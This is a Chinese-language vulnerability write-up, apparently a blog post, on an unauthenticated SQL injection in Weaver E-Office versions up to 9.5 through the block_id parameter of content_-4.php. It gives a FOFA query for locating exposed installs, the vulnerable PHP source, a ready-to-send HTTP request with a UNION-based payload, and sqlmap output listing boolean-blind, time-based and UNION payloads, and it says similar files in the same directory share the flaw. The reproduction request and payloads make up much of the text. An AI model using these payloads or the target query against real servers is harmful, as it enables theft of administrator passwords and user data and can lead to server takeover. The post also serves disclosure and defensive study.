漏洞简介

泛微E-Office是一款标准化的协同 OA 办公软件，泛微协同办公产品系列成员之一,实行通用化产品设计，充分贴合企业管理需求，本着简洁易用、高效智能的原则，为企业快速打造移动化、无纸化、数字化的办公平台。泛微e-office content_-4.php 接口处存在SQL注入漏洞，未经身份验证的恶意攻击者利用 SQL 注入漏洞获取数据库中的信息（例如管理员后台密码、站点用户个人信息）之外，攻击者甚至可以在高权限下向服务器写入命令，进一步获取服务器系统权限。

影响版本

e-office <=9.5

fofa语句

app="泛微-EOffice"

漏洞分析

general/new_mytable/contentlist/content-4.php 业务逻辑如下

<?php

include_once( "inc/conn.php" );
include_once( "inc/utility_all.php" );
include_once( "inc/function_usergeneral.php" );
include_once( "general/new_mytable/index_function.php" );
includelangpak( "index", $lang );
$nothingdata = $_lang['index_no_data'];
require_once( "inc/function_weather.php" );
require_once( "inc/weather.inc.php" );
$paraarray = getindexpara( $block_id );

...

function getIndexPara( $block_id )
{
    global $connection;
    $query = "\r\n\t\tSELECT * FROM `index_block` WHERE BLOCK_ID={$block_id}\r\n\t\t";
    $rc = exequery( $connection, $query );
    $row = mysql_fetch_array( $rc );
    if ( $row['FONT_STYLE'] == "" )
    {
        $row['FONT_STYLE'] = "black";
    }
    $index_array = array( "block_row" => $row['BLOCK_ROW'], "subject_length" => $row['SUBJECT_LENGTH'], "common_id" => $row['COMMON_ID'], "is_show_date" => $row['IS_SHOW_DATE'], "is_show_creator" => $row['IS_SHOW_CREATOR'], "block_effect" => $row['BLOCK_EFFECT'], "common_str" => $row['COMMON_STR'], "font_style" => $row['FONT_STYLE'], "block_height" => $row['BLOCK_HEIGHT'], "block_layout" => $row['BLOCK_LAYOUT'], "portal_index" => $row['PORTAL_INDEX'] );
    return $index_array;
}

$block_id 被直接拼接进SQL语句后执行，无任何过滤校验，造成SQL注入漏洞。

漏洞复现

GET /general/new_mytable/content_list/content_-4.php HTTP/1.1
Host: eoffice.mrxn.net:8082
Cookie: block_id=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7170706a71,0x4e6b5271596d6c6c4f63796e445741616750714a506d4c464e5075417659424c4c47647a4f48534c,0x7162716a71),NULL,NULL,NULL,NULL,NULL,NULL-- -

成功在响应回显测试payload

https://mrxn.net/tag/sqlmap 结果如下

sqlmap identified the following injection point(s) with a total of 78 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: block_id=(SELECT (CASE WHEN (9822=9822) THEN 1 ELSE (SELECT 9884 UNION SELECT 3565) END))

    Type: time-based blind
    Title: MySQL < 5.0.12 AND time-based blind (BENCHMARK)
    Payload: block_id=1 AND 1007=BENCHMARK(5000000,MD5(0x5571676b))

    Type: UNION query
    Title: Generic UNION query (NULL) - 18 columns
    Payload: block_id=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7170706a71,0x4e6b5271596d6c6c4f63796e445741616750714a506d4c464e5075417659424c4c47647a4f48534c,0x7162716a71),NULL,NULL,NULL,NULL,NULL,NULL-- -
---

同目录下其他类似 content_xxx.php 的基本上都存在同类型问题